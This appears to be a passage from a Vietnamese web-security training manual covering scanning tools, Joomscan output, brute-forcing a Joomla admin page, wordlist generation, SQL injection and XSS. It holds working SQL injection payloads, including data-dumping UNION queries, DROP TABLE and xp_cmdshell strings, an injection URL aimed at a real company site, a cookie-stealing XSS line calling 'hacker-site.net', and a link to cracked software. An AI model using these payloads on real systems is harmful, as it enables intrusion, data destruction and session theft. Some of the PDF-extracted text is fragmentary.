o Version hiện tại của target là 1.5.0, chạy apache 2.4.6, PHP 5.4.16
o Các vulnerable Yes là những vulnerable có khả năng bị khai thác, tấn công
bởi hacker.
o Admin page: http://1.2.3.3//administrator/
49
c. Wappalyzer
- Là 1 tiện ích mở rộng có sẳn trên Firefox và Chrome, giúp chúng ta khám phá kĩ
thuật mà website sử dụng. Nó giúp chúng ta dễ dàng phát hiện CSM, Web shop,
Web Server, JS frameworks, các tool phân tích, etc. Như là 1 bộ phát hiện CMS, nó
khá hữu dụng và có tỉ lệ phân tích thành công cao hơn các tool khác.
a. Acunetix WVS:
i. Khái niệm:
- Acunetix WVS là phần mềm quét lỗ hổng website hiệu quả nhất, nó kiểm tra tất cả
các lỗ hổng website bao gồm cả SQL Injection, Cross Site Scripting và quét nhiều
nhiều lỗ hổng website khác.
- Acunetix WVS có một bộ engine phát hiện lỗ hổng website hàng đầu kèm theo
là Acunetix AcuSensor thực hiện các cuộc tấn công tự động và hiển thị các lỗ hổng
được tìm thấy. Đây là một công nghệ bảo mật duy nhất có thể nhanh chóng tìm thấy
lỗ hổng với số lượng cảnh báo giả rất thấp, cho thấy lỗ hổng trong mã và báo cáo
thông tin gỡ lỗi. Đồng thời xác định các lỗ hổng website như CRLF, Code execution,
Directory Traversal, File inclusion, lỗ hổng trong xác thực và các lỗ hổng khác.
- Có thể download:
http://www.mediafire.com/file/bb1xcrq61sc962l/Acunetix+v8.0_full_CLEAN+100+%2
5+VERSION_free-4-free.blogspot.com.rar
50
- Chọn File -> New -> Web Site Scan
51
- Chọn Next
- Chọn Next
52
- Chọn Next
- Chọn Finish
53
b. ZAP
i. Khái niệm:
- Zed Attack Proxy (ZAP) là công cụ tích hợp của tập hợp nhiều công cụ pentest có
chức năng khác nhau. ZAP cho phép người sử dụng có thể thực hiện nhiều tác vụ
nhằm dò tìm điểm yếu trên ứng dụng web.
- Những tiện ích nổi bật của ZAP
o Intercepting Proxy : Bản chất ZAP là một proxy chặn giữa người dùng và ứng
dụng web
o Automated scanner
o Passive scanner
o Brute Force scanner : Cho phép tìm cây thư mục,tính năng này là sự tích hợp
của công cụ Dir Buster mà mình đã giới thiệu trước đó.
o Spider : Tìm kiếm các url trong website
o Fuzzer : Tích hợp tiện ích JbroFuz.
o Port scanner
o Dynamic SSL certificates : tự tạo một cert root CA,thực hiện MiTM để decrypt
các traffic mã hóa bởi SSL.
o Report: cung cấp output ra report dạng HTML và XML
- Download ZAP: https://github.com/zaproxy/zaproxy/wiki/Downloads
Sau khi cài đặt xong ZAP,việc đầu tiên các bạn cần cấu hình để proxy trên các trình
duyệt về địa chỉ 127.0.0.1 port 8080, việc này có tác dụng điều hướng các traffic đi
qua ZAP.
Giao diện của ZAP
ii. Demo:
- Chỉnh proxy trên trình duyệt về 127.0.0.1 port 8080 để hướng traffic đi qua ZAP, trên
Chrome chọn Cài đặt -> Cài đặt -> Kéo xuống:
54
- Mở cài đặt proxy
55
- Giao diện của ZAP
- Vào trình duyệt gõ http://1.2.3.6/jl25 và trở lại ZAP
Dùng trình duyệt view qua website mà bạn định pentest,tính năng Automated
scanner sẽ tự động quét website và đưa ra các thông tin cần thiết ví dụ như các alert
56
- Tiếp đến,để thực hiện các tính năng khác như brute force thư mục,các bạn click
chuột phải vào site,chọn Attack > Spider
- ZAP scan và search ra tất cả các thư mục và file tồn tại trên host này
- Tab message:
o Get và Post trả về 200 chứng tỏ thư mục vẫn tồn tại, ví dụ vào trình duyệt gõ:
http://1.2.3.6//administrator như ZAP trả về
o GET trả về 404 tức là file hoặc thư mục không tồn tại
57
- Còn nhiều chức năng khác mà ZAP hỗ trợ như:
- Nhiệm vụ chính của Wireshark là phân tích gói tin, nó cho phép bạn có thể giám sát
được toàn bộ lưu lượng mạng bằng cách đưa giao diện vào chế độ promiscuouus.
- Ngoài ra, bạn có thể xem các điểm cuối – endpoints, cửa sổ thống kê phân cấp giao
thức
- Thân thiện với người dùng, cộng đồng whireshark lớn và các hệ điều hành đều có
thể dùng được công cụ đánh giá an ninh mạng Wireshark này.
ii. SQLmap
- công cụ đánh giá, kiểm tra lỗ hổng trong cơ sở dữ liệu SQL – SQLmap. Đây là là
một công cụ miễn phí và là mã nguồn mở được sử dụng chủ yếu để phát hiện và
khai thác các vấn đề SQL injection trong ứng dụng. Đặc biệt giới hacker rất thích
dùng SQLmap
58
- Một trong những công cụ các hacker chuyên dùng để tấn công và kiểm tra độ an
toàn và sự bảo mật của hệ thống chính là Metasploit. Thực chất Metasploit là taapj
hợp rất nhiều chương trình dùng để thực hiện cho việc tấn công, kiểm tra sự bảo
mật giống như 1 Framework, nó được phát triển bởi Rapid7
59
Phần 3: CÁC LOẠI TẤN CÔNG TRÊN JOOMLA VÀ LIFERAY
- Mục tiêu: Giơí thiệu, demo và hướng dẫn sửa lỗi các lỗi và phương thức tấn
công phổ biến, nguy hiểm trên website chạy CSM joomla, Liferay.
- Nội dung:
o Các loại tấn công trên joomla 1.5, 2.5, 3.5
Joomla version scan
Joomla Brute Force Attack
Word list (dictionary)
o Các loại tấn công trên Liferay portal
o SQL Injection
Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công sử dụng câu lệnh INSERT
Dạng tấn công sử dụng stored-procedures
Blind SQL injection
o XSS (Cross-Site Scripting)
Reflected XSS
Stored XSS
DOM-based XSS
o Joomla Security Plugins:
Centrora Security
Securitycheck
RSFirewall
o Htaccess
.htaccess
Authentication
Session manager
Token control
Redirect admin
o Sửa lỗi
o Cài đặt công cụ bảo mật Modsecuriy
- Bài tập: Kiểm tra và rà soát lỗi website đơn vị, Thực hành các bài tập của từng
loại tấn công.
60
1. Các loại tấn công trên Joomla
a. Joomla version scan
- Ở phần trước đã có giới thiệu về các tools dùng để scan Joomla gồm các tools
như: CMS Explorer, Joomscan, Wappalyzer, chúng ta sẽ sử dụng Joomscan để
scan 1 trang Joomla bất kì.
- Mở Kali và tiến hành scan target: 1.2.3.3
o Joomscan –u 1.2.3.3
o Kết quả:
Target: http://1.2.3.3
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
#1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available,
so exploiting is more likely to succeed.
Vulnerable? Yes
#2
Info -> Generic: Unprotected Administrator directory
Versions Affected: Any
Check: /administrator/
Exploit: The default /administrator directory is detected. Attackers can
bruteforce administrator accounts. Read:
http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS
%20TO%20PROTECT.pdf
Vulnerable? Yes
61
#3
Info -> Core: Multiple XSS/CSRF Vulnerability
Versions Affected: 1.5.9 <=
Check: /?1.5.9-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 4.
Exploit: A series of XSS and CSRF faults exist in the administrator
application. Affected administrator components include com_admin,
com_media, com_search. Both com_admin and com_search contain
XSS vulnerabilities, and com_media contains 2 CSRF vulnerabilities.
Vulnerable? Yes
#4
Info -> Core: JSession SSL Session Disclosure Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /?1.5.8-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 5.
Exploit: When running a site under SSL (the entire site is forced to be
under ssl), Joomla! does not set the SSL flag on the cookie. This can
allow someone monitoring the network to find the cookie related to the
session.
Vulnerable? Yes
#5
Info -> Core: Frontend XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /?1.5.10-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 6.
Exploit: Some values were output from the database without being
properly escaped. Most strings in question were sourced from the
administrator panel. Malicious normal admin can leverage it to gain
access to super admin.
Vulnerable? Yes
#6
Info -> Core: Frontend XSS - HTTP_REFERER not properly filtered
Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-http_ref
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 9.
Exploit: An attacker can inject JavaScript or DHTML code that will be
executed in the context of targeted user browser, allowing the attacker
to steal cookies. HTTP_REFERER variable is not properly parsed.
Vulnerable? Yes
#7
Info -> Core: Frontend XSS - PHP_SELF not properly filtered
Vulnerability
62
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-php-s3lf
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 10.
Exploit: An attacker can inject JavaScript code in a URL that will be
executed in the context of targeted user browser.
Vulnerable? Yes
#8
Info -> Core: Authentication Bypass Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /administrator/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 11.
Exploit: Backend accepts any password for custom Super
Administrator when LDAP enabled
Vulnerable? Yes
#9
Info -> Core: Path Disclosure Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-path-disclose
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 12.
Exploit: Crafted URL can disclose absolute path
Vulnerable? Yes
# 10
Info -> Core: User redirected Spamming Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-spam
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 13.
Exploit: User redirect spam
Vulnerable? Yes
# 12
Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability
Versions effected: 1.0.13 <=
Check: /administrator/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 15.
Exploit: It requires an administrator to be logged in and to be tricked
into a specially crafted webpage.
Vulnerable? Yes
# 13
Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local
Directory Traversal Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /plugins/editors/xstandard/attachmentlibrary.php
63
Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to
/plugins/editors/xstandard/attachmentlibrary.php
Vulnerable? Yes
# 14
Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability
Versions effected: Joomla! 1.5.0 Beta/Stable
Check: /libraries/phpmailer/phpmailer.php
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 21.
Exploit: N/A
Vulnerable? Yes
# 15
Info -> CoreComponent: Joomla Remote Admin Password Change
Vulnerability
Versions Affected: 1.5.5 <=
Check: /components/com_user/controller.php
Exploit: 1. Go to url :
target.com/index.php?option=com_user&view=reset&layout=confirm
2. Write into field "token" char ' and Click OK. 3. Write new password
for admin 4. Go to url : target.com/administrator/ 5. Login admin with
new password
Vulnerable? Yes
# 21
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_content/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 30.
Exploit: The defaults on com_content article submission allow entry of
dangerous HTML tags (script, etc). This only affects users with
access level Author or higher, and only if you have not set filtering
options in com_content configuration.
Vulnerable? Yes
# 22
Info -> CoreComponent: com_weblinks XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_weblinks/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 31.
Exploit: [Requires valid user account] com_weblinks allows raw HTML
into the title and description tags for weblink submissions (from both
the administrator and site submission forms).
Vulnerable? Yes
# 23
Info -> CoreComponent: com_mailto Email Spam Vulnerability
Version Affected: Joomla! 1.5.6 <=
64
Check: /components/com_mailto/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 32.
Exploit: The mailto component does not verify validity of the URL prior
to sending.
Vulnerable? Yes
# 25
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.9 <=
Check: /components/com_content/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 34.
Exploit: A XSS vulnerability exists in the category view of
com_content.
Vulnerable? Yes
# 26
Info -> CoreComponent: com_installer CSRF Vulnerability
Versions effected: Joomla! 1.5.0 Beta
Check: /administrator/components/com_installer/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 36.
Exploit: N/A
Vulnerable? Yes
# 28
Info -> CoreComponent: com_poll (mosmsg) Memory Consumption
DOS Vulnerability
Versions effected: 1.0.7 <=
Check: /components/com_poll/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 38.
Exploit: Send request
/index.php?option=com_poll&task=results&id=14&mosmsg=DOS@H
ERE<<>AAA<><>
Vulnerable? Yes
# 30
Info -> CoreComponent: com_mailto timeout Vulnerability
Versions effected: 1.5.13 <=
Check: /components/com_mailto/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,
<JO> line 40.
Exploit: [Requires a valid user account] In com_mailto, it was possible
to bypass timeout protection against sending automated emails.
Vulnerable? Yes
o Các lỗ hổng chính trong quá trình scan được liệt kê phía trên.
65
- Ngoài ra chúng ta có thể sử dụng công cụ metasploit được tích hợp sẳn trong
kali để scan joomla version.
o Metasploit framework là một framework mã nguồn mở phát triển nhằm
sử dụng các shellcode (payload) để tấn công máy có lỗ hổng.Cùng với
một số bộ công cụ bảo mật khác,Metasploit có cơ sở dữ liệu chứa hàng
ngàn shellcode ,hàng ngàn exploit của các hệ điều hành,các chương trình
hay dịch vụ.Trong quá trình phát triển metasploit liên tục cập nhật các
Exploit...Nên càng ngày nó càng trở thành một bộ công cụ mạnh mẽ.
o Mở metasploit và tiến hành sử dụng payload scan joomla với target:
1.2.3.3
Msfconsole
msf > use auxiliary/scanner/http/joomla_version
msf auxiliary(scanner/http/joomla_version) > set RHOSTS
1.2.3.3/24
msf auxiliary(scanner/http/joomla_version) > set threads 200
msf auxiliary(scanner/http/joomla_version) > show options
Module options (auxiliary/scanner/http/joomla_version):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format
type:host:port[,type:host:port][...]
RHOSTS 1.2.3.3/24 yes The target address
range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for
outgoing connections
TARGETURI / yes The base path to the
Joomla application
THREADS 200 yes The number of
concurrent threads
VHOST no HTTP server virtual host
66
b. Joomla bruteforce attack
- Sau quá trình scan version của joomla victim ta đã biết được version hiện tại mà
victim đang sử dụng, đồng thời tìm ra các component tồn tại các lỗ hổng, khiến
cho attacker có thể xâm nhập vào cũng như tiến hành các cuộc tấn công, một
trong số đó là kiểu tấn công bruteforce
- Bắt đầu khai thác victim: 1.2.3.3
o Dirb http://1.2.3.3
o Result:
GENERATED WORDS: 4612
---- Scanning URL: http://1.2.3.3/ ----
==> DIRECTORY: http://1.2.3.3/administrator/
==> DIRECTORY: http://1.2.3.3/cache/
+ http://1.2.3.3/cgi-bin/ (CODE:403|SIZE:210)
==> DIRECTORY: http://1.2.3.3/components/
==> DIRECTORY: http://1.2.3.3/images/
==> DIRECTORY: http://1.2.3.3/includes/
+ http://1.2.3.3/index.php (CODE:200|SIZE:5903)
==> DIRECTORY: http://1.2.3.3/language/
==> DIRECTORY: http://1.2.3.3/libraries/
==> DIRECTORY: http://1.2.3.3/logs/
==> DIRECTORY: http://1.2.3.3/media/
==> DIRECTORY: http://1.2.3.3/modules/
==> DIRECTORY: http://1.2.3.3/phpmyadmin/
==> DIRECTORY: http://1.2.3.3/phpMyAdmin/
==> DIRECTORY: http://1.2.3.3/plugins/
+ http://1.2.3.3/robots.txt (CODE:200|SIZE:304)
==> DIRECTORY: http://1.2.3.3/templates/
==> DIRECTORY: http://1.2.3.3/tmp/
==> DIRECTORY: http://1.2.3.3/xmlrpc/
o Kiểm tra các trang chính
Trang administrator:
67
Trang phpmyadmin
Trong đó:
o –h : chỉ ra đường dẫn trang login admin page
o –U : file chứa danh sách các username
o –u : username
o –P : file chứa danh sách các password
o –p : password
o -v verbose
o -s signal - default:"Administration Login"
Ta được kết quả:
o Username: admin
o Password: admin
Tiến hành đăng nhập vào admin page
68
Đăng nhập thành công
c. Wordlist (dictionary)
- Dictionary attack là một kĩ thuật giúp máy tính có thể bẻ khóa được các cơ chế
mã hóa hoặc cơ chế xác thực hoặc mật khẩu (password). Về cơ bản, Dictionary
attack cũng gần giống với kĩ thuật Brute Force tuy nhiên điều khác nhau ở đây là
Dictionary attack dựa trên dictionary (hay còn được gọi là wordlist) chứ ko vét
cạn như Brute Force.
- Wordlist trên thực tế là một tệp gồm rất nhiều các chuỗi kí tự thuộc nhiều loại
giống như mật khẩu hay gặp, từ ngữ phổ biến, tên người,….
69
Sau khi chỉnh sửa xong thì lưu lại.
Cú pháp: ./cupp.py hoặc python cupp.py
Các option:
-h: hiển thị nội dung trợ giúp
-i: trả lời các câu hỏi để tạo 1 wordlist theo thông tin cá
nhân
- Sau khi trả lời xong, cupp sẽ tạo 1 wordlist với tên: gino.txt
-w: sử dụng wordlist có sẳn
-l: tải 1 wordlist từ repository
70
-a: Sử dụng thư viện Alecto DB. Đây là thư viện các
username và password được tổng hợp
-v: kiểm tra phiên bản của CUPP.
o Crunch: là một công cụ tuyệt vời cho những ai muốn tấn công Brute
Force attack vì nó có thể tạo ra một danh sách mật khẩu từ 5 ký tự đến
25 ký tự chuẩn xác
Crunch có giao diện làm việc khá đơn giản chúng ta chỉ cần tập
trung vào hai thông số cơ bản là <min> và <max> với :
<min>: số kí tự tối thiểu
<max>: số kí tự tối đa
Để có pass list tối ưu hơn tý ta có thể sử dòng lệnh :
# crunch <min> <max> <charset> -t <pattern> – o <path
file>
với:
o <charset>: kí tự có trong mật khẩu
o <pattern>: các kí tự bạn đã biết chắc
o <path file>: đừng dẫn file được tạo
VD: ví dụ ta sẽ tạo ra một pass list là số diện thoại với các
điều kiện mình biết được
o có 6 kí tự
o các kí tự cấu tạo nên nó là 0123456789
o số 0 luôn đứng đầu tiên
Ta sẽ dùng lệnh như sau :
o # crunch 10 10 012345 -t 0@@@@@ -o list.txt
71
Chứa các password đã được define trước.
Note: min và max càng cao thì kích thước file wordlist càng
lớn nên cân nhắc trước khi tạo.
2. Các loại tấn công trên Liferay Portal
- Khái niệm: Liferay Portal là giải pháp Cổng điện tử được thiết kế phù hợp với
các mô hình ứng dụng trong các cơ quan, tổ chức và doanh nghiệp có nhu cầu
phát triển hệ thống thông tin trên môi trường web nhằm thực hiện các giao dịch
trực tuyến và sử dụng Intranet/Internet như một công cụ thiết yếu trong các hoạt
động, cung cấp thông tin, giao tiếp, quản lý và điều hành, trao đổi và cộng tác.
o Là công cụ cho phép các cơ quan, tổ chức tự định nghĩa và quản trị
“Cổng thông tin/giao tiếp điện tử” của riêng mình, tự quản nội dung thông
tin và các dịch vụ trên mạng Intranet/Internet.
o Cho phép vận hành một quy trình xuất bản thông tin và các ứng dụng
phần mềm trên quan điểm tích hợp chúng vào trong một giao diện
website duy nhất.
o Liferay Portal sử dụng công nghệ mới nhất của Java, J2EE, tích hợp kiến
trúc hướng dịch vụ SOA (Services-Oriented Architecture) và công nghệ
Web 2.0.
o Hỗ trợ rộng rãi các chuẩn công nghiệp và chuẩn mở (SOAP, LDAP,
XML/XSL, SSL, JSR 170, JSR168, WSRP, Webservices, …).
- Các loại tấn công phổ biến trên Liferay Portal: SQL Injectio, XSS, Malware,
Phising, DoS, Session Hijacking,…
72
3. SQL Injection
3.1.Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở nên
phổ biến hiện nay, theo thống kê thì khoảng 75% hacker sử dụng kĩ thuật này để
chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command
vào input trước khi chuyển cho ứng dụng web xử lí, chúng ta có thể login mà không
cần username và password, remote execution, dump data và lấy root của SQL
server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như
Internet Explorer, Netscape, Lynx, Firefox,…
73
o http://www.ampak.com.tw/product.php?id=22'
- hoặc
o http://www.ampak.com.tw/product.php?id=22'
- Đều trả về trang lỗi trong các tình huống thông thường, URL hiển thị nội dung của
tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên, giống
như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection
khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị
khác, và từ đó bắt đầu cho một cuộc tấn công bất hợp pháp, ví dụ như: 0 OR 1=1,
vd:
o http://www.ampak.com.tw/product.php?id=0 or 1=1
- Câu truy vấn SQL lúc này sẽ không trả về trang lỗi mặc dù chúng ta không có
sản phẩm nào có ID = 0, vì nó sẽ thực hiện câu lệnh:
o SELECT * FROM Products WHERE Product_ID=0 or 1=1
- Tương tự như trên, kẻ tấn công có thể lợi dụng sơ hở trong câu truy vấn SQL để
nhập thêm lệnh tiếp theo: '; DROP TABLE users -- Lúc này, chương trình sẽ chạy
câu truy vấn thực hiện việc xóa bảng users.
- Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để
tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng
có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi
hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh
INSERT có thể có cú pháp dạng:
o INSERT INTO TableName VALUES('1st Value', '2nd Value', '3rd Value')
- Chắc chắn sẽ bị lỗi Sql Injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ
như:
o ' + (SELECT TOP 1 FieldName FROM TableName) + '
- Lúc này câu truy vấn sẽ là:
o INSERT INTP TableName VALUES(‘ ‘ + (SELECT TOP 1 FieldName
FROM TableName) + ‘ ‘, ‘abc’, ‘def’
- Khi đó, lúc thực hiện lệnh xem thông tin, xem như chúng ta đã yêu cầu thực hiện
thêm một lệnh nữa đó là:
o SELECT TOP 1 FieldName FROM Tablename
- Stored Procedure được sử dụng trong lập trình web với mục đích nhằm giảm sự
phức tạp trong ứng dụng và tránh sự tấn công trong kỹ thuật SQL Injection. Tuy
nhiên những kẻ tấn công vẫn có thể lợi dụng những stored procedure để tấn công
vào hệ thống. Việc tấn công này sẽ gây tác hại rất lớn nếu ứng dụng được thực
thi với quyền quản trị hệ thống ‘sa’ .
- Ví dụ 1: stored procedure splogin gồm hai tham số là username và password,
nếu kẻ tấn công nhập: Username: thanhcong Password: ' ; shutdown- - Lệnh gọi
stored procedure như sau:
o EXEC splogin 'thanhcong','';shutdown- -'
o Lệnh shutdown thực hiện dừng sql server ngay lập tức.
- Ví dụ 2:
o EXEC xp_cmdshell 'cmd.exe dir C: '
74
o Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt
server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
- SQL injection cho phép chúng ta khai thác thông tin từ cơ sở dữ liệu. Riêng với
blind, chúng ta phải đoán thông tin dần dần dựa theo kết quả trả về là true hay
false. Do đó sẽ dẫn tới một vấn đề đó là nếu thông tin chúng ta cần lấy ví du: tên
cơ sở dữ liệu, tên bảng, tên user quá dài thì việc đoán sẽ gặp trở ngại lớn về thời
gian.
3.4.4.1. Tìm kiếm nhị phân trong khai thác Blind SQL Injection
o Đây là một thuật toán tìm kiếm khả phổ biến. Về nguyên tắc nếu ta cần
tìm một phần tử nào đó trong tập hợp đã được sắp xếp, ta chỉ cần xác
định xem nó thuộc vào khoảng nào, từ đó dần dần thu hẹp phạm vi tìm.
o Cụ thể : có dãy số : 1 2 3 4 5 6 7 8 9 . Giờ ta cần tìm phần tử 9 ở vị trí
nào, thay vì ta duyệt và kiểm tra từng phần tử của dãy ta có thể tiến hành
như sau:
Kiểm tra 9 lớn hay nhỏ hơn phần từ ở giữa là 5 trong dãy trên ta
thấy rõ ràng lớn hơn => ta được khoảng đầu tiên 6 7 8 9
Cứ thế tìm tới khi chỉ còn 2 phần từ 8, 9 ta chỉ so sánh 1 lần là tìm
được giá trị mong muốn.
Thuật toán này rất tối ưu về thời gian và có độ phức tạp O(log n).
o Quay trở lại với việc khai thác lỗi bind SQLi, ta có thể tìm 1 ký tự đúng
bằng thuât toán trên bằng việc so sánh với mã ascii.
Ví dụ: and ascii(substring((select username from jos_users),1,1) >
124
o Với câu truy vấn trên, ta sẽ lấy ra ký tự đầu tiên của user để so sánh và
tìm ký tự đúng. Tìm kiếm nhị phân là phương pháp được dùng khá phổ
biến trong kĩ thuật khai thác bind SQLi.
o Thông thường một ký tự bất kỳ sẽ được biểu diễn qua 8 bit nhị phân
(theo ascii) do đó chúng ta sẽ dịch dần từng bit cho tới khi tìm được ký tự
đúng.
o Cụ thể: chúng ta sẽ tiến hành dịch phải từ 7 bit tới 0 bit. Như ta đã biết
với mỗi bit nhị phân bất kỳ sẽ chỉ có 2 lựa chọn hoặc là 1 hoặc là 0. Với
mỗi lần chúng ta sẽ kiểm tra chính xác vị trí đó sẽ nhận giá trị nào. Cứ
dần như thế tới khi dịch đủ 7 bit ta sẽ đoán thành công mã ascii của ký tự
cần tìm.
o Ví dụ: chữ cái đầu tên của database là ‘a’ sẽ có mã ascii là 97.
Ta tiến hành dịch phải 7 bit và đoán xem nó là 0 hay 1
Sau khi được bit đầu tiên ta lại thử điền vào vị trí bít thứ 6 và so
sánh tiếp để tìm.
Cứ làm tuần tự như trên ta chỉ cần thực hiện 7 lần để đoán chính
xác 1 ký tự
o Kĩ thuật này đơn giản và thực hiện dễ dàng hơn so với tìm kiếm nhị phân
và cũng đươc dùng tương đối phổ biến. Thông qua hai kĩ thuật trên ta có
75
thể dễ dàng lấy thông tin từ database và tiết kiệm thời gian rất nhiều so
với cách tìm kiếm tuần tự thông thường.
o Ngược lại nếu hiển thị lỗi thì số lượng column chưa đúng, thay bằng các
giá trị cho đến khi đúng thì dừng lại.
76
o Ta xác định được table trong database của victim có 11 column.
- Xác định các table bị lỗi
o Sử dụng select để xác định table lỗi:
http://testphp.vulnweb.com/product.php?pic=999 union select 1,2,3,4,5,6,7,8,9,10,11-- -
77
o Ta được các table trong database, trong đó chúng ta sẽ khai thác table
này.
- Xác định các column trong table users
http://testphp.vulnweb.com/product.php?pic=999 union select
1,unhex(hex(group_concat(column_name))),database(),4,5,6,user(),8,9,10,11 from
information_schema.columns where table_name=CHAR(117,115,101,114,115)-- -
o với table được encode dạng mysql char()
- Xem thông tin các column trong table users (uname, pass, name, email)
http://testphp.vulnweb.com/product.php?pic=999 union select
1,unhex(hex(group_concat(uname,0x3a,pass,0x3a,name,0x3a,email))),database(),4,5,6,use
r(),8,9,10,11 from users-- -
78
o Username: test
o Password: test
o Name: cavaleiropv
o Email: email
- Sử dụng username và password đó để đăng nhập lại trang web.
79
4 XSS (Cross Site Scripting)
- Cross-site scripting là một lỗ hổng phổ biến trong ứng dụng web. Để khai thác
một lỗ hổng XSS, hacker sẽ chèn mã độc thông qua các đoạn script để thực thi
chúng ở phía client. Thông thường, các cuộc tấn công XSS được sử dụng để
vượt qua các kiểm soát truy cập và mạo danh người dùng.
- Phân loại: Có 3 loại Reflected XSS, Stored XSS và DOM-based XSS
- Có đến 75% kỹ thuật XSS dựa trên Reflected XSS. Gọi là reflected(phản xạ) bởi
vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có
chứa đoạn mã nguy hiểm(thường là javascript). Nạn nhân chỉ cần request đến
URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong
muốn(tính phản xạ thể hiện ở đây). Ngoài ra nó còn được biết đến với tên gọi first-
order XSS.
- Thực tế có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong
những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người
dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website.
- Chi tiết được mô tả theo các bước như sau:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Bằng cách nào đó, hacker gửi được cho người dùng URL:
http://example.com/name=<script>var+i=new+Image;+i.src=”http://hacker-
site.net/”%2bdocument.cookie;</script>
Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của
hacker tạo ra
80
3. Nạn nhân truy cập đến URL trên
4. Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request(đoạn javascript
của hacker)
5. Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
6. Đoạn javascript mà hacker tạo ra thực tế như sau:
7. Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như
session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư
cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.
- Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực hiện
tối thiểu qua 2 bước.
- Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không
được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.
- Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện các thao
tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi
trên trình duyệt người dùng.
81
- Đến đây hacker coi như đã đạt được mục đích của mình. Vì lí do này mà kỹ
thuật Stored XSS còn được gọi là second-order XSS.
- Kịch bản khai thác được mô tả như hình sau:
- Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.
o Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân
truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện
việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng,
hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân,
việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình
truy cập đã bị nhiễm độc.
o Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm
tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng
